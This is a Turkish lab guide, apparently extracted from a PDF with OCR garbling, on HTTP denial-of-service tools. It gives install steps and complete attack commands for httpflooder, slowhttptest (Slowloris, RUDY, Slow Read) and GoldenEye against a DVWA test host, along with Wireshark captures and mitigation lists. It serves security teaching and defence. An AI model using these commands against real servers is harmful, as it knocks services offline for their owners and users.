HTTP DoS/DDoS Araclari
Kullanim Kilavuzu

Hazirlayan: Merve Latife SAY

Bu dokiiman Merve Latife SAY tarafindan kaynaklardan faydalanilarak hazirlanmistir.
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DoS/DDoS nedir?

Bilgi glivenligini gizlilik, butlinllk, erisilebilirlik kapsaminda ele aliriz. Bunlardan herhangi birinin
olmamasi durumunda zafiyet agiga ¢cikmaktadir. DoS/DDoS saldirisi bilginin erisilebilirlik ilkesine zarar
vermektedir.

DoS/DDoS saldirilari sistem kaynaklarini veya bant genisligini tiketerek bir hizmeti veya servisi
yavaslatmakta veya ulasilamaz hale getirmektedir.

DoS/DDoS yani Distributed Denial of Service (Dagitik Hizmet Engelleme) ve DoS (Denial of Service)
arasinda tek bir fark vardir. DDoS farkli kaynaklardan ayni hedefe yapilan saldirndir. DoS ise diisiik
kaynaklar ile yapilan saldirilardir.

HTTP GET/POST Flood

HTTP Flood saldirilari genellikle k6tl amagli yazilimlarin yardimiyla GET / POST isteklerini kullanan 7.
katman bir DDoS saldirisidir. Hedef sistem Uzerinde belirlenmis bir sayfaya ya da sayfalara stirekli
olarak GET veya POST isteginde bulunarak sunucunun cevap veremez hale gelmesini saglamaktir.
Boyle bir durumda olusturulan istek gercek bir HTTP istegi gibi goriinecektir ve sunucu cevap
verecektir. Fakat sunucunun cevap verebileceginden daha fazla miktarda istek gonderildigi zaman
web sunucusu ve arka planda galisan veritabani servisine fazla yiik binecek ve servis disi kalacaktir.
Tespit edilmesi oldukga zordur.

Kullanilacak Tool
e httpflooder.pl

Toolu kurmak icin asagidaki adimlar takip edilir.

» git clone https://github.com/ddusnoki/httpflooder.git
cd httpflooder

chmod +x httpflooder.pl

perl httpflooder.pl --help

Y V V
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-a: Atak tipini belirtir.

-h: Atak yapilcak IP

-urls: URL DoSyasinda bulunan request
-n: Kurulacak baglanti sayisi

-t: Thread sayisi

HTTP GET FLOOD;

> perl httpflooder.pl -a GF -h 192.168.67.182 --urls urls.txt -t 10 -n 100

Saldiri baglatildigi anda yogun bir GET istekleri gonderilmektedir. Asagidaki ekran apache loglari
incelendiginde gorildigu lizere yogun bir GET istegi gorilmektedir.
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Bu istekleri wireshark kullanarak da inceleyebiliriz.
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Saldiri baslatildigi anda yogun bir POST istekleri gonderilmektedir. Asagidaki ekran apache loglari
incelendiginde gorildigi Gzere yogun bir POST istegi gorilmektedir.

n_m o omy

Bu istekleri wireshark kullanarak da inceleyebiliriz.

| |ip.addr ==192.168.67.182 and http.request.method == POSTI '_| Expression.. *+
Mo. Time Source Destination Protocol Length Info

8 5.303591510 192.168.67.219 192.168.67.182 HTTP 234 POST /index.asp HTTP/1.1 Conti
16 5.304811621 192.168.67.219 192.168.67.182 HTTP 234 POST /index.php HTTP/1.1 Conti
21 5.311222560 192.168.67.219 192.168.67.182 HTTP 235 POST /index.aspx HTTP/1.1 Cont
29 5.314480253 192.168.67.219 192.168.67.182 HTTP 235 POST /index.aspx HTTP/1.1 Cont
43 5.316593183 192.168.67.219 192.168.67.182 HTTP 235 POST /index.html HTTP/1.1 Cont
44 5.316702397 192.168.67.219 192.168.67.182 HTTP 235 POST /index.html HTTP/1.1 Cont
59 5.318360300 192.168.67.219 192.168.67.182 HTTP 234 POST /index.asp HTTP/1.1 Conti
60 5.318552998 192.168.67.219 192.168.67.182 HTTP 234 POST /index.htm HTTP/1.1 Conti
75 5.319962157 192.168.67.219 192.168.67.182 HTTP 234 POST /index.asp HTTP/1.1 Conti
76 5.320002170 192.168.67.219 192.168.67.182 HTTP 235 POST /index.html HTTP/1.1 Cont
89 5.321061534 192.168.67.219 192.168.67.182 HTTP 235 POST /index.aspx HTTP/1.1 Cont
93 5.321251220 192.168.67.219 192.168.67.182 HTTP 234 POST /index.asp HTTP/1.1 Conti
107 5.322206870 192.168.67.219 192.168.67.182 HTTP 234 POST /index.php HTTP/1.1 Conti
108 5.322278168 192.168.67.219 192.168.67.182 HTTP 234 POST /index.asp HTTP/1.1 Conti
118 5.331576234 192.168.67.219 192.168.67.182 HTTP 234 POST /index.php HTTP/1.1 Conti
122 5.331730179 192.168.67.219 192.168.67.182 HTTP 234 POST /index.htm HTTP/1.1 Conti
130 5.336086850 192.168.67.219 192.168.67.182 HTTP 235 POST /index.html HTTP/1.1 Cont
149 5.355117669 192.168.67.219 192.168.67.182 HTTP 234 POST /index.jsp HTTP/1.1 Conti
151 5.355425181 192.168.67.219 192.168.67.182 HTTP 234 POST /index.jsp HTTP/1.1 Conti
152 5.355426683 192.168.67.219 192.168.67.182 HTTP 235 POST /index.aspx HTTP/1.1 Cont
171 5.357337543 192.168.67.219 192.168.67.182 HTTP 235 POST /index.aspx HTTP/1.1 Cont
172 5.357421394 192.168.67.219 192.168.67.182 HTTP 235 POST /index.aspx HTTP/1.1 Cont
185 5.359015722 192.168.67.219 192.168.67.182 HTTP 234 POST /index.htm HTTP/1.1 Conti
189 5.359229770 192.168.67.219 192.168.67.182 HTTP 234 POST /index.asp HTTP/1.1 Conti
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Onlem
e HTTP Floodlari durdurmak icin WAF(Web Application Firewall) kullaniimali,
e Saldirganin bot olup olmadigi test edilmelidir.
e HTTP servisi lizerinde max baglanti sayisi veya connection timeout degerleri kisa tutulmahdir.

Slowloris

Uygulama katmani saldirisi olan Slowloris, kismi HTTP isteklerini kullanarak ¢alisan bir ¢esit DoS
saldinsidir. Saldiri hedeflenen web sunucusuna birden fazla baglanti istegi gondererek baglanti
isteklerini tamamlamadan uzun siire agik tutar. Her bir istek igin HTTP header bilgisi gonderir ancak
hicbir zaman istegi tamamen gondermez. Sunucu maksimum baglanti sinirina ulastiginda baglanti
istekleri reddedilir yeni baglanti agilmaz. Bu sayede hedef lizerinde ¢ok fazla yik olusur ve hedefin
cevap verememesi saglanir.

Slowloris diistik miktarda bant genisligi kullanmaktadir bu yizden normal bir trafik gibi web servisleri
tarafindan algilanmaktadir.

Kullanilacak Tool
e slowhttptest

Slowhttptest tool kurulumu icin asagidaki adim uygulanir.

> apt-get install slowhttptest
> slowhttptest -h
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fi (
Warning, D

> slowhttptest -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u
http://192.168.67.182/dvwa/login.php -x 24 -p 3

-c: Test sirasinda kurulacak hedef baglanti sayisini belirtir.
-H: Tamamlanmamis HTTP istegi gondererek yavas modda slowhttptest baslatir.

-g ve -0: Bu iki parametre, tarama tamamlandiginda CSV ve HTML DoSyalari olusturmak icin birlikte
kullanihr.

-i : Gonderilen veriler arasindaki zaman saniye cinsinden tanimlanir.

-r: Baglanti hizini belirtir.
-t: istek Tipi(GET/POST)
-u: Hedef url ya da IP adresinin belirtildigi parametredir.

-x : Tek seferde gonderilebilecek en fazla veri boyutu tanimlanir.

-p : Sunucunun cevap vermiyor olarak yorumlanmasi icin beklenecek stire tanimlanir.
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Buradaki “pending” degeri sunucunun géndermek icin belleginde beklettigi cevap sayisi, “closed”
degeri sunucunun kapattigi baglanti sayisidir. “service available” degerinin “YES” olmasi sunucunun
hizmet verebildigi anlamina gelmektedir. Saldiriya baslandiginda sunucu hizmet verebilir durumdadir.
Bu deger “NO” oldugunda ise sunucu hizmet veremez duruma gelecek, yani hizmet engelleme
saldirisi amacina ulasmis olacaktir.

NOT: Slowhttptest toolu kullanilirken dikkat edilmesi gereken hususlardan bir tanesi ise;
“Service available” kisminda “NO” yazmasi her zaman sunucu cevap veremedigi anlamina
gelmemektedir. Sunucu 6nlinde WAF, Next Generation Firewall veya IPS gibi sistemler olmasi
durumunda trafik kesilebilir veya Slowhttptest araci ayni cevabi bize dondirebilir. “NO” degeri
gorildugiinde bu ihtimallerde g6z 6niinde bulundurulmalidir.
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Damn Vulnerable Web App (DVV X +

« X {y (@ Notsecure | 192.168.67.182/dvwa/login.php

15. saniyeden sonra atak kesilene kadar sistem cevap verememistir.

Onlem

e Sunucunun herhangi bir anda izin verecegi maksimum istemci sayisi artiriimal,
o Belirli kullanim faktorlerine gore erisimi kisitlanmali,

e Maksimum baglantiyi sinirlama,

e istemcinin baglantida kalma siiresini sinirlama,

e Kaynak sunucuyu koruyarak, ters proxy teknolojini kullanmali

Apache Web sunuculari igin, Slowloris saldirisinda zarar gérmesini dnlemek igin;

e Mod_limitipconn

e Mod_qgos

e Mod_evasive

e Mod_security

e Mod_noloris

e Mod_antiloris modiilleri kullanilabilir.

Golden Eye

GoldenEye bir HTTP DoS/DDoS testi aracidir. GET, POST, RANDOM olarak HTTP DoS ataklari
yapabilmektedir.

Kullanilacak Tool
e goldeneye

Toolu kurmak icin asagidaki adimlar takip edilir.

> git clone https://github.com/jseidl/GoldenEye.git
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» cd GoldenEye
> .[/goldeneye.py -h

1t: random

-w: s Sayisi
-s: Soket sayisi
-m: Kullanilcak olan istek methodu

> .[goldeneye.py http:/192.168.67.182 -w 100 -s 200 -m random

NOT: Uygulanmasi durumunda isletim sistemi donanim yetersizliginden dolayi crash olabilir.

Rudy

RUDY araci hedef web sunucusundaki gomili web formlari bulur.
Form alanlarini doldurmak icin HTTP POST istekleri olusturur.

Arag daha sonra form verilerini gnderme islemini, her biri 1 bayt kadar kiiclik paketlere bolerek,
yavas yavas sunucuya goénderir.

Kullanilacak Tool
e slowhttptest

Slowhttptest tool kurulumu icin asagidaki adim uygulanir.

> apt-get install slowhttptest
> slowhttptest -h
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fi (
Warning, D

-c: Test sirasinda kurulacak hedef baglanti sayisini belirtir.
-B: Rudy atagini baslatir.

-i : Gonderilen veriler arasindaki zaman saniye cinsinden tanimlanir.

-r: Baglanti hizini belirtir.
-u: Hedef url ya da IP adresinin belirtildigi parametredir.

-x : Tek seferde gonderilebilecek en fazla veri boyutu tanimlanir.

-p : Sunucunun cevap vermiyor olarak yorumlanmasi icin beklenecek siire tanimlanir.

> slowhttptest -c 1000 -B -i 110 -r 200 -s 8192 -u http://192.168.67.182 -x 10 -p 3
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Buradaki “pending” degeri sunucunun géndermek icin belleginde beklettigi cevap sayisi, “closed”
degeri sunucunun kapattigi baglanti sayisidir. “service available” degerinin “YES” olmasi sunucunun
hizmet verebildigi anlamina gelmektedir. Saldiriya baslandiginda sunucu hizmet verebilir durumdadir.
Bu deger “NO” oldugunda ise sunucu hizmet veremez duruma gelecek, yani hizmet engelleme
saldirisi amacina ulasmis olacaktir.

Damn Vulnerable Web App (DVV X +

& ¥ {y @ Notsecure | 192.168.67.182/dvwa/login.php

10. saniyeden sonra atak kesilene kadar sistem cevap verememistir.

NOT: Slowhttptest toolu kullanilirken dikkat edilmesi gereken hususlardan bir tanesi ise;
“Service available” kisminda “NO” yazmasi her zaman sunucu cevap veremedigi anlamina
gelmemektedir. Sunucu 6niinde WAF, Next Generation Firewall veya IPS gibi sistemler olmasi
durumunda trafik kesilebilir veya Slowhttptest araci ayni cevabi bize dondirebilir. “NO” degeri
gorildigiinde bu ihtimallerde géz 6niinde bulundurulmalidir.

Onlem
e  Web sunucusunda daha siki baglanti zaman asimi araliklari ayarlanmali,
e Kaynak sunucuyu koruyarak, ters proxy teknolojini kullanmalidir.

Slowread

Ozellikle Web sitelerini devre disi birakmak icin kullanilan “slow read” saldirilari TCP'nin
(Transmission Control Protocol - iletim Kontrolii Protokolii) dogal yapisindaki “window size” dzelligini
kullanarak sunucunun (server) istemciye (client) gonderdigi cevabin yavas okunmasina dayanir.
Cevap, istemcide yavas okunarak sunucu bekletilir. Daha dnceden kullanilan “slow” saldirilarda
sunucuya parcalar halinde gonderilen HTTP (Hypertext Transfer Protocol — Hipermetin Aktarma
Protokoll) istekleri sunucunun portlarinin ttkanmasina neden olmaktaydi. Araliklarla génderilen sayfa
parcasi istekleri sunucu ile istemci arasindaki baglantinin kesilmesini 6nlemekteydi. “Slow read”
saldirisinda ise, istek sunucuya bitiin halinde génderilmekte, fakat sunucunun cevabi bellekten yavas
okunarak geciktirilmektedir. Timer (zamanlayici) bulunan sunucular belirlenen siireden sonra
baglantiyi keseceginden dolayl TCP’deki veri akisini kontrol eden “window size” 6zelliginin 0’a yakin
tutulmasiyla sunucu ve istemci arasinda kisa strelerle “ACK” ve “SYN” paketleri gonderilmesi
saglanarak, sunucunun baglantiyr kesmesi 6nlenmektedir. Saldiri temelde istemci bilgisayarin
sunucuya gonderdigi blylik boyutlu istegin cevabini, calistirdigi araglarla parca parca ve yavaslatarak
dinlemesi sonucu olusur. istemci cevabi yavas okurken, sunucu verinin kalanini génderebilmek igin

Bu dokiiman Merve Latife SAY tarafindan kaynaklardan faydalanilarak hazirlanmistir.



istemcinin veri gdnderimine hazir olmasini bekler ve bellegini gonderilmemis verilerle doldurur. Es
zamanli boyle saldirilar ile sunucunun diger istemciler ile baglanti kurmasi engellenir.

“Slow read” saldirilari diizenlemek oldukga kolaydir. Yalnizca asgari donanim gerektirir. Ayrica tek bir
bilgisayar bile kisa bir stirede bir sunucuyla binlerce baglanti kurup, asgari bant genisligi kullanarak
binlerce tamamlanmamis HTTP istegi gdnderebilir.

“Slow read” saldirilari uzun zaman alan masum HTTP istekleri gibi goriindiklerinden tespit edilmeleri
zordur ve alisildik DoS (Denial of Service — Hizmet Engelleme) saldirisi dnleme yontemleri ile
engellenemezler.

Sunucularda varsayilan ayarlardan olan asagidaki 6zellikler bulundugunda sunucu “slow read”
saldirilarina agik hale gelmektedir.

¢ Sunucunun ¢ok kiigiik “window size” degeri ile gelen ilk “SYN” paketlerini kabul etmesi,
e Sunucunun, istemcinin veriyi kabul etmemesi halinde baglantiyi kesmemesi,

¢ Sunucu ile istemciler arasinda devamli baglantilar ve HTTP pipelining (arka arkaya veri
aktarimi) yapilabilmesi.

Bu tiir saldirilardan korunmak icin Web sunucusuna normalden ¢ok daha kiigik “window size”
kullanilarak istek yapan istemcilerle baglantiyi reddetmesini saglayan, istemcinin veriyi uzun siire
kabul etmemesi halinde baglantiyi kesmesini saglayacak ve isteklerin émrini sinirlayan kurallar
yazilmahdir.

Kullanilacak Tool
e slowhttptest

Slowhttptest tool kurulumu icin asagidaki adim uygulanir.

> apt-get install slowhttptest
> slowhttptest -h
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fi (
Warning, D

> slowhttptest -X -k 10 -u http://192.168.67.182 -c 1000-v2 -z 5-n 1 -g -0 beam_demo

-X: Slow Read Atak oldugunu belirtir.
-c : Kurulacak baglanti sayisi belirtilir.

-g : Grafik ¢cizmek icin gerekli istatistikleri tutacak bir HTML (Hyper Text Markup Language- Zengin
Metin isaret Dili) sayfasi iiretir.

-0 : Grafigin tutuldugu HTML sayfasinin adi belirtilir.
-r : Saniyede kurulacak baglanti sayisi belirtilir.

-u : Hedef URL (Uniform Resource Locator - Tekdiize Kaynak Konumlayici) belirtilir.
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Buradaki “pending” degeri sunucunun géndermek icin belleginde beklettigi cevap sayisi, “closed”
degeri sunucunun kapattigi baglanti sayisidir. “service available” degerinin “YES” olmasi sunucunun
hizmet verebildigi anlamina gelmektedir. Saldirlya baslandiginda sunucu hizmet verebilir durumdadir.
Bu deger “NO” oldugunda ise sunucu hizmet veremez duruma gelecek, yani hizmet engelleme
saldirisi amacina ulasmis olacaktir.

NOT: Slowhttptest toolu kullanilirken dikkat edilmesi gereken hususlardan bir tanesi ise;
“Service available” kisminda “NO” yazmasi her zaman sunucu cevap veremedigi anlamina
gelmemektedir. Sunucu 6niinde WAF, Next Generation Firewall veya IPS gibi sistemler olmasi
durumunda trafik kesilebilir veya Slowhttptest araci ayni cevabi bize dondirebilir. “NO” degeri
gorildiagiinde bu ihtimallerde g6z 6niinde bulundurulmalidir.

Onlem
e Baglanti zaman asimi ayarlanmall,
e Minimum gelen veri hizi belirlenmeli, ardindan bu hizdan daha yavas olan baglantilari
birakilmalidir.

Faydalanilan Kaynaklar:
e https://bidb.itu.edu.tr/seyir-defteri/blog/2013/09/07/slow-read-dos-attack-(yava%c5%9f-
okutarak-hizmet-engelleme-sald%c4%b1r%c4%b1s%c4%b1)
e https://github.com/shekyan/slowhttptest/wiki/InstallationAndUsage
e https://www.thesecurityblogger.com/goldeneye-denial-of-service-ddos-attack-using-kali-

linux/

e https://github.com/shekyan/slowhttptest

Bu dokiiman Merve Latife SAY tarafindan kaynaklardan faydalanilarak hazirlanmistir.


https://bidb.itu.edu.tr/seyir-defteri/blog/2013/09/07/slow-read-dos-attack-(yava%c5%9f-okutarak-hizmet-engelleme-sald%c4%b1r%c4%b1s%c4%b1)
https://bidb.itu.edu.tr/seyir-defteri/blog/2013/09/07/slow-read-dos-attack-(yava%c5%9f-okutarak-hizmet-engelleme-sald%c4%b1r%c4%b1s%c4%b1)
https://github.com/shekyan/slowhttptest/wiki/InstallationAndUsage
https://www.thesecurityblogger.com/goldeneye-denial-of-service-ddos-attack-using-kali-linux/
https://www.thesecurityblogger.com/goldeneye-denial-of-service-ddos-attack-using-kali-linux/
https://github.com/shekyan/slowhttptest

e https://www.slashroot.in/slowloris-http-dosdenial-serviceattack-and-prevention

Bu dokiiman Merve Latife SAY tarafindan kaynaklardan faydalanilarak hazirlanmistir.
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